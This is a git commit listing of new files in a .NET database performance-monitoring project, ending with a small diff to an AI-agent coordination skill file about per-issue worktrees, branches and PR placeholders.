 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpWindowNotice.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingReproScript.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingSlowReadReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebSecurityHeaders.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/IGcfOutputFormat.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/ListenerTlsCertificateState.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/McpTlsCertificateState.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/TopRanking.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/PlanDigestCache.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/PostgresOpenTimeout.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/ProcedureStatsPlanKey.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/ProcedureStatsPlanReuse.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/QueryStatsPlanKey.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/QueryStoreIntervalFloorWarmUp.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/ReadScope.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/ReadStatementCapture.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/RetentionCollectionYield.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/SecretTextGuard.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/SlowReadLog.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/TargetSessionIdCache.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Targets/AwsAssumedRoleCredentials.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleAllowlist.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleAssumeException.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleClients.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleCredentialCache.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Targets/AwsRoleKey.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Targets/RdsEndpointVerifier.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/WebDataStartNote.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/WebReadReach.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/XeSessionMissingWarnings.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/css/time-range.css
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/database-filter-reads.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/fleet-groups.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/grid-tools.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/grid-value-filter.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/multi-picker.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/mute-context.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/page-range.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/admin.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/analysis-findings.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/database-filter.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/deadlock-graph.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/application-connections.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/database-box.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/database-resources.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/database-sizes.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/gate.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/high-impact.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/index-analysis.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/locking.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/optimization.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/recommendations.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/server-inventory.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/storage-growth.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/utilization.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/version-store.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/finops/window.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/job-history.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/manage-tags.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/mute-rules.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/pg-plan-viewer.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/plan-viewer.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/query-store-history.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tab-reach.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/plain-text.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/plan-row.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/server-order.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/sidebar.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/time-range-picker.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/time-range.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/viewer-local-ui.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/wwwroot/js/viewer-local.js
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/AlertDismissStore.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/AwsRoleSettings.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/BoundedDdlBusyStreaks.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/CollectedDatabases.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/DarlingJobHistoryReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/DarlingServerClocksReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/DataWindowFloor.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/DatabaseFilter.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/DatabaseNameHistoryReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsApplicationConnectionsReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsDatabaseResourcesReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsDatabaseSizesReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsHighImpactReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsIndexAnalysisReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsInventoryReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsOptimizationReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsRecommendationsReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsStorageGrowthReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/DarlingFinOpsUtilizationReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsCost.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsInventoryFigures.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsRecommendationFigures.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsRollupRouting.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsScoring.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/FinOpsUtilizationFigures.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/FinOps/IndexCleanupRollupFigures.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/IntervalRollupCountGuard.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/IntervalRollupRestartRows.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/LegacyPinCandidateTables.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/PasswordBinding.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/PasswordKeyTables.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/PasswordSeal.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/PerfmonRegroupDrain.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/PgIoStatsHourly.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/PgIoStatsHourlyBuilder.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/PlanRegressionDaily.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/QueryStatsHourLedger.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/QueryStatsHourLedgerWriter.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/QueryStoreBackgroundIndexes.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/QueryStoreComposeStamp.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalBrin.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalPartitions.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/QueryStoreTopDaily.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/RollupCoverageWarmup.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/ServerConnectionIdentity.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/ServerConnectionRule.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/ServerScopeSql.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/ServerTagCoverage.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/ServerTagRules.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/ServerTagStore.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/ServerTrendSql.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/StoreInstallId.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/StoreStatementHistory.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/TopFill.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Storage/ViewerEventDataStart.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/CollectorDurationSeries.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleRunAtText.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/DataGridHeaderFit.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/FinOpsServerChoice.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/OverviewCardView.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/PasswordKeyChangedDialog.xaml
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/PasswordKeyChangedDialog.xaml.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/ViewerBlockingChartsDataStart.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/ViewerBlockingLaneDataStart.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PasswordKey.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/ViewerDataStartNote.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/ViewerLoadTimer.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/ViewerPasswordKey.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/ViewerPasswordKeyPins.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/ViewerProcedureHistoryIdleRuns.cs
 delete mode 100644 Darling/PerformanceMonitor.Darling.Viewer/ViewerServerSecret.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.EventDataStart.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.PostgresDataStart.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.ProbeWatch.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/ViewerSmtpSeal.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/ViewerTimeRangeWindow.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Viewer/ViewerWebhookSealing.cs
 create mode 100644 Lite.Tests/AlertHistoryCountFilterTests.cs
 create mode 100644 Lite.Tests/AlertStatementCutOrderLiteTests.cs
 create mode 100644 Lite.Tests/AlwaysOnXeReadOnlyIntentLiteTests.cs
 create mode 100644 Lite.Tests/AlwaysOnXeSessionsLiteTests.cs
 create mode 100644 Lite.Tests/AppLoggerDuckDbOutOfMemoryHintTests.cs
 create mode 100644 Lite.Tests/ArchiveCompactionLowDiskTests.cs
 create mode 100644 Lite.Tests/ArchiveCopyOptionsPinTests.cs
 create mode 100644 Lite.Tests/ArchiveNoOpPassViewRebuildTests.cs
 create mode 100644 Lite.Tests/ArchiveQuerySnapshotsDailyCompactionTests.cs
 create mode 100644 Lite.Tests/ArchiveQueryStatsDailyCompactionTests.cs
 create mode 100644 Lite.Tests/ArchiveReadLimitTests.cs
 create mode 100644 Lite.Tests/ArchiveTieOrderTests.cs
 create mode 100644 Lite.Tests/BlockingChartsDataStartTests.cs
 create mode 100644 Lite.Tests/BlockingDatabaseFilterToolTests.cs
 create mode 100644 Lite.Tests/BlockingSourceLabelTests.cs
 create mode 100644 Lite.Tests/CiSelectMapSelectGuardTests.cs
 create mode 100644 Lite.Tests/CiSelectReplayGuardTests.cs
 create mode 100644 Lite.Tests/ClickThroughUiTextTests.cs
 create mode 100644 Lite.Tests/CollectionHealthEffectiveCadenceTests.cs
 create mode 100644 Lite.Tests/CollectionHealthKeyedLookupParityTests.cs
 create mode 100644 Lite.Tests/CollectionHealthOracleSql.cs
 create mode 100644 Lite.Tests/CollectionHealthReadBehaviourTests.cs
 create mode 100644 Lite.Tests/CollectionHealthRunTimeToolTests.cs
 create mode 100644 Lite.Tests/CollectionHealthTabScheduleTests.cs
 create mode 100644 Lite.Tests/CollectionLogDrillDataStartTests.cs
 create mode 100644 Lite.Tests/CollectorDurationDetailTextTests.cs
 create mode 100644 Lite.Tests/CollectorDurationHoverTests.cs
 create mode 100644 Lite.Tests/CollectorRunTimeScheduleTests.cs
 create mode 100644 Lite.Tests/CollectorRunTimeSweepTests.cs
 create mode 100644 Lite.Tests/CollectorRunTimeWarningLogTests.cs
 create mode 100644 Lite.Tests/CollectorSelfQueryMarkerCensusTests.cs
 create mode 100644 Lite.Tests/CrossAppStatementFilterPinTests.cs
 create mode 100644 Lite.Tests/DarlingReadsTraitGuardTests.cs
 create mode 100644 Lite.Tests/DataStartBannerBlockingEventsTests.cs
 create mode 100644 Lite.Tests/DataStartBannerLatchSpinlockTests.cs
 create mode 100644 Lite.Tests/DataStartBannerProbeFailureTests.cs
 create mode 100644 Lite.Tests/DataStartBannerQueriesTabTests.cs
 create mode 100644 Lite.Tests/DataStartBannerSurfaceTests.cs
 create mode 100644 Lite.Tests/DataStartBannerTests.cs
 create mode 100644 Lite.Tests/DeadlockAndBlockedProcessEnsureLogLevelLiteTests.cs
 create mode 100644 Lite.Tests/DesktopDatabaseFilterReadsTests.cs
 create mode 100644 Lite.Tests/DuckDbInitializerDisposalGuardTests.cs
 create mode 100644 Lite.Tests/DuckDbMemoryLimitSettingTests.cs
 create mode 100644 Lite.Tests/DurationTrendDatabaseFilterToolTests.cs
 create mode 100644 Lite.Tests/DurationTrendFilteredDenominatorTests.cs
 create mode 100644 Lite.Tests/EmptyDatabaseListNoteLiteTests.cs
 create mode 100644 Lite.Tests/EventListDatabaseFilterToolTests.cs
 create mode 100644 Lite.Tests/FileIoLatencyTopFilesTests.cs
 create mode 100644 Lite.Tests/FinOpsFirstVisitAndBaselineTests.cs
 create mode 100644 Lite.Tests/FinOpsIdleCoverageAndInventoryScoreTests.cs
 create mode 100644 Lite.Tests/FinOpsSecondaryReplicaTests.cs
 create mode 100644 Lite.Tests/GenericWebhookHeadersOriginTests.cs
 create mode 100644 Lite.Tests/GuardStageCensusTests.cs
 create mode 100644 Lite.Tests/InstallIdStoreTests.cs
 create mode 100644 Lite.Tests/InstallIdTests.cs
 create mode 100644 Lite.Tests/JobHistoryDataStartTests.cs
 create mode 100644 Lite.Tests/JobHistoryServerClockWindowTests.cs
 create mode 100644 Lite.Tests/LiteAlertForwardingTests.StatementFilter.cs
 create mode 100644 Lite.Tests/LiteRunningJobsCurrentSnapshotTests.cs
 create mode 100644 Lite.Tests/LiteTimeRangeGapTests.cs
 create mode 100644 Lite.Tests/LongQueryBannerSessionScopeTests.cs
 create mode 100644 Lite.Tests/LongQueryTraceLifecycleLiteTests.cs
 create mode 100644 Lite.Tests/LongQueryTracePermissionDenialLiteTests.cs
 create mode 100644 Lite.Tests/LongQueryTraceReadOnlyIntentLiteTests.cs
 create mode 100644 Lite.Tests/MainConnectionLimitsTests.cs
 create mode 100644 Lite.Tests/McpArgumentTypeTests.cs
 create mode 100644 Lite.Tests/McpDatabaseNameFilterToolTests.cs
 create mode 100644 Lite.Tests/McpDatabaseSelectionTests.cs
 create mode 100644 Lite.Tests/McpHelpersTruncateTests.cs
 create mode 100644 Lite.Tests/McpJsonPostGuardTests.cs
 create mode 100644 Lite.Tests/McpStorageDatabaseNameFilterToolTests.cs
 create mode 100644 Lite.Tests/McpWholeNumberArgumentTests.cs
 create mode 100644 Lite.Tests/McpWindowNoticeAggregateToolTests.cs
 create mode 100644 Lite.Tests/McpWindowNoticeConfigAndLogToolTests.cs
 create mode 100644 Lite.Tests/McpWindowNoticeEventToolTests.cs
 create mode 100644 Lite.Tests/McpWindowNoticeSystemHealthToolTests.cs
 create mode 100644 Lite.Tests/McpWindowNoticeToolTests.cs
 create mode 100644 Lite.Tests/OverviewBlockingLaneDataStartLiveTests.cs
 create mode 100644 Lite.Tests/OverviewBlockingLaneDataStartPinTests.cs
 create mode 100644 Lite.Tests/OverviewBlockingLaneDataStartTests.cs
 create mode 100644 Lite.Tests/PostCollectionCheckpointBudgetTests.cs
 create mode 100644 Lite.Tests/PreinitializedDuckDb.cs
 create mode 100644 Lite.Tests/PreinitializedDuckDbTests.cs
 create mode 100644 Lite.Tests/ProcedureStatsIdleRowsReaderTests.cs
 create mode 100644 Lite.Tests/ProcedureTrendQueryPinTests.cs
 create mode 100644 Lite.Tests/QueryStatsTextAfterRankingTests.cs
 create mode 100644 Lite.Tests/QueryStoreBackfillDroppedDatabaseTests.cs
 create mode 100644 Lite.Tests/QueryStoreHistoryTotalExecutionsTests.cs
 create mode 100644 Lite.Tests/QueryStoreOldReadSql.cs
 create mode 100644 Lite.Tests/QueryStoreTextAfterRankingTests.cs
 create mode 100644 Lite.Tests/RefreshCoordinatorTests.cs
 create mode 100644 Lite.Tests/ReleaseWalkFilterAndCompareTests.cs
 create mode 100644 Lite.Tests/ScreenReaderNamesFollowUpTests.cs
 create mode 100644 Lite.Tests/ScreenReaderNamesTests.cs
 create mode 100644 Lite.Tests/ScreenReaderRowNamesTests.cs
 create mode 100644 Lite.Tests/SecondaryReplicaMcpAnalysisTests.cs
 create mode 100644 Lite.Tests/SecondaryReplicaScopeTests.cs
 create mode 100644 Lite.Tests/ServerScheduleSummaryTests.cs
 create mode 100644 Lite.Tests/ServerTabEmptyStateAndNamesTests.cs
 create mode 100644 Lite.Tests/ServerTabHistoryOverlayTests.cs
 create mode 100644 Lite.Tests/ServerTabStatusTextTests.cs
 create mode 100644 Lite.Tests/SettingsImportTests.cs
 create mode 100644 Lite.Tests/SnapshotCollectedTimeTests.cs
 create mode 100644 Lite.Tests/StaThreadCensusTests.cs
 create mode 100644 Lite.Tests/StatementAnalysisReadCutTests.cs
 create mode 100644 Lite.Tests/StatementDrillDownTextFetchTests.cs
 create mode 100644 Lite.Tests/StatementFilterDrillDownWarningsTests.cs
 create mode 100644 Lite.Tests/StatementFilterLiteMcpTests.cs
 create mode 100644 Lite.Tests/StatementScrubDeadlockCleanupTests.cs
 create mode 100644 Lite.Tests/StatementScrubDerivedStoreTests.cs
 create mode 100644 Lite.Tests/StatementScrubLiteCollectionTests.cs
 create mode 100644 Lite.Tests/StatementScrubLivePlanDisplayTests.cs
 create mode 100644 Lite.Tests/StatementScrubLiveReadTests.cs
 create mode 100644 Lite.Tests/StatementScrubWholeMarkerIdentityTests.cs
 create mode 100644 Lite.Tests/StoredPlanAnalysisFilterTests.cs
 create mode 100644 Lite.Tests/TabLoadsOffUiThreadTests.cs
 create mode 100644 Lite.Tests/TestCpuAccountant.cs
 create mode 100644 Lite.Tests/TestCpuAccountantTests.cs
 create mode 100644 Lite.Tests/TestMapProducerGuardTests.cs
 create mode 100644 Lite.Tests/TestMapShadowGuardTests.cs
 create mode 100644 Lite.Tests/TimingCollection.cs
 create mode 100644 Lite.Tests/TimingTestCensusTests.cs
 create mode 100644 Lite.Tests/TopListTotalOrderPinTests.cs
 create mode 100644 Lite.Tests/TopListWaitforRefillReaderTests.cs
 create mode 100644 Lite.Tests/TopTextTieBreakReaderTests.cs
 create mode 100644 Lite.Tests/WaitingBlockedDatabaseFilterToolTests.cs
 create mode 100644 Lite/Analysis/SecondaryReplicaScope.cs
 create mode 100644 Lite/Controls/LiteBlockingLaneDataStart.cs
 create mode 100644 Lite/Controls/OverviewCardBorder.cs
 create mode 100644 Lite/Controls/ServerTab.BlockingChartsDataStart.cs
 create mode 100644 Lite/Controls/ServerTab.QueriesDataStart.cs
 create mode 100644 Lite/Helpers/LiteTimeRange.cs
 create mode 100644 Lite/Mcp/McpCollectorRunTimes.cs
 create mode 100644 Lite/Mcp/McpDatabaseSelection.cs
 create mode 100644 Lite/Services/ArchiveReadLimiter.cs
 create mode 100644 Lite/Services/DataVolumeSpace.cs
 create mode 100644 Lite/Services/DuckDbMemoryLimitSetting.cs
 create mode 100644 Lite/Services/FinOpsShowReloadPolicy.cs
 create mode 100644 Lite/Services/InstallIdStore.cs
 create mode 100644 Lite/Services/LivePlanDisplay.cs
 create mode 100644 Lite/Services/LocalDataService.QueryStoreText.cs
 create mode 100644 Lite/Services/ProcedureHistoryIdleRuns.cs
 create mode 100644 Lite/Services/ReadPhaseTimer.cs
 create mode 100644 Lite/Services/RemoteCollectorService.AlwaysOnXeSessions.cs
 create mode 100644 Lite/Services/RemoteCollectorService.LegacyLongQuerySession.cs
 create mode 100644 Lite/Services/RemoteCollectorService.RunTime.cs
 create mode 100644 Lite/Services/SettingsImport.cs
 create mode 100644 Lite/Services/TopFill.cs
 create mode 100644 PerformanceMonitor.Alerting/AlertStatementFilter.cs
 create mode 100644 PerformanceMonitor.Alerting/RunningJobsCurrency.cs
 create mode 100644 PerformanceMonitor.Analysis/FactReplicaScope.cs
 create mode 100644 PerformanceMonitor.Analysis/WithheldStatementMarker.cs
 create mode 100644 PerformanceMonitor.Collectors/AlwaysOnXeSessions.cs
 create mode 100644 PerformanceMonitor.Collectors/CollectorRunTime.cs
 create mode 100644 PerformanceMonitor.Collectors/EmptyDatabaseListNote.cs
 create mode 100644 PerformanceMonitor.Collectors/IScheduleFrequencyOverride.cs
 create mode 100644 PerformanceMonitor.Collectors/InstallId.cs
 create mode 100644 PerformanceMonitor.Collectors/LegacyLongQuerySession.cs
 create mode 100644 PerformanceMonitor.Collectors/LongQueryTraceDatabases.cs
 create mode 100644 PerformanceMonitor.Collectors/LongQueryTraceStep.cs
 create mode 100644 PerformanceMonitor.Common/AgReplicaScope.cs
 create mode 100644 PerformanceMonitor.Common/BlockingThresholdCoverage.cs
 create mode 100644 PerformanceMonitor.Common/DatabaseNameHistory.cs
 create mode 100644 PerformanceMonitor.Common/DerivedStoreScrub.cs
 create mode 100644 PerformanceMonitor.Common/Mcp/McpToolParameterTypes.cs
 create mode 100644 PerformanceMonitor.Common/Mcp/SensitiveStatementOutputFilter.cs
 create mode 100644 PerformanceMonitor.Common/SensitiveStatements.Json.cs
 create mode 100644 PerformanceMonitor.Common/SensitiveStatements.Regex.cs
 create mode 100644 PerformanceMonitor.Common/SensitiveStatements.Session.cs
 create mode 100644 PerformanceMonitor.Common/SensitiveStatements.WarmUp.cs
 create mode 100644 PerformanceMonitor.Common/SensitiveStatements.Xml.cs
 create mode 100644 PerformanceMonitor.Common/SensitiveStatements.cs
 create mode 100644 PerformanceMonitor.Common/Services/ColumnValueList.cs
 create mode 100644 PerformanceMonitor.Common/Services/ColumnValueListColumns.cs
 create mode 100644 PerformanceMonitor.Common/Services/JsonContentType.cs
 create mode 100644 PerformanceMonitor.Common/TagColours.cs
 create mode 100644 PerformanceMonitor.Ui/AccessibleNames.cs
 create mode 100644 PerformanceMonitor.Ui/BlockingSourceLabel.cs
 create mode 100644 PerformanceMonitor.Ui/CollectorDurationHoverText.cs
 create mode 100644 PerformanceMonitor.Ui/ColumnFilterScope.cs
 create mode 100644 PerformanceMonitor.Ui/ColumnFilterStore.cs
 create mode 100644 PerformanceMonitor.Ui/ColumnValueListModel.cs
 create mode 100644 PerformanceMonitor.Ui/ComparisonBaselineNote.cs
 create mode 100644 PerformanceMonitor.Ui/DatabaseFilterSelection.cs
 create mode 100644 PerformanceMonitor.Ui/EmptyState.cs
 create mode 100644 PerformanceMonitor.Ui/FileIoChartFiles.cs
 create mode 100644 PerformanceMonitor.Ui/IoLatencyWeighting.cs
 create mode 100644 PerformanceMonitor.Ui/LongQueriesEmptyText.cs
 create mode 100644 PerformanceMonitor.Ui/PlanNodeBorder.cs
 create mode 100644 PerformanceMonitor.Ui/RefreshCoordinator.cs
 create mode 100644 PerformanceMonitor.Ui/TimeColumnTitle.cs
 create mode 100644 PerformanceMonitor.Ui/TimeRange/ResolvedTimeRange.cs
 create mode 100644 PerformanceMonitor.Ui/TimeRange/RollingUnitRule.cs
 create mode 100644 PerformanceMonitor.Ui/TimeRange/TimeRangeParser.cs
 create mode 100644 PerformanceMonitor.Ui/TimeRange/TimeRangePresets.cs
 create mode 100644 PerformanceMonitor.Ui/TimeRange/TimeRangeSpec.cs
 create mode 100644 PerformanceMonitor.Ui/TimeRangePicker.xaml
 create mode 100644 PerformanceMonitor.Ui/TimeRangePicker.xaml.cs
 create mode 100644 PerformanceMonitor.Ui/WithheldPlanGuard.cs
 create mode 100644 docs/changelog/3.10.md
 create mode 100644 tools/drain-ab-replay/Invoke-DrainAbReplay.ps1
 create mode 100644 tools/drain-ab-replay/README.md
 create mode 100644 tools/drain-ab-replay/proof/Start-FakeRetention.ps1
 create mode 100644 tools/drain-ab-replay/proof/example-output/latency_by_script.csv
 create mode 100644 tools/drain-ab-replay/proof/example-output/phases.csv
 create mode 100644 tools/drain-ab-replay/proof/example-output/rates.csv
 create mode 100644 tools/drain-ab-replay/proof/example-output/run.json
 create mode 100644 tools/drain-ab-replay/proof/example-output/summary.md
 create mode 100644 tools/drain-ab-replay/proof/seed-proof-rig.sql

diff --git a/.claude/skills/lane-orders/SKILL.md b/.claude/skills/lane-orders/SKILL.md
index ab79617ff1..d70db08784 100644
--- a/.claude/skills/lane-orders/SKILL.md
+++ b/.claude/skills/lane-orders/SKILL.md
@@ -7,15 +7,15 @@ disable-model-invocation: false
 
 # Lane orders
 
-One lane works one issue, or a few small related ones, in its own worktree. The coordinator reviews each PR, arms
-auto-merge and splices the CHANGELOG. These orders apply alongside the user's token guardrails, which win on
+One lane works one issue, or a few small related ones, in its own worktree. An issue too big for one lane still gets
+ONE branch and ONE PR: its lanes share the issue branch (see "Worktree and branch"). The coordinator reviews each PR,
+arms auto-merge and splices the CHANGELOG. These orders apply alongside the user's token guardrails, which win on
 conflict.
 
 **The coordinator fills these per wave, in every brief:**
 - `<LANE>`, `<ISSUES>`, `<DEADLINE>`;
 - `<RIG_PORT>`, `<RIG_DIR>`, `<PG_RUNTIME_ZIP>`;
-- `<CHANGELOG_BUFFER_DIR>`;
-- `<CO_AUTHOR_TRAILER>`, `<SESSION_URL>`.
+- `<CHANGELOG_BUFFER_DIR>`.
 
 If your brief leaves one unfilled, don't invent a value. Skip the step that needs it and say so in the PR body.
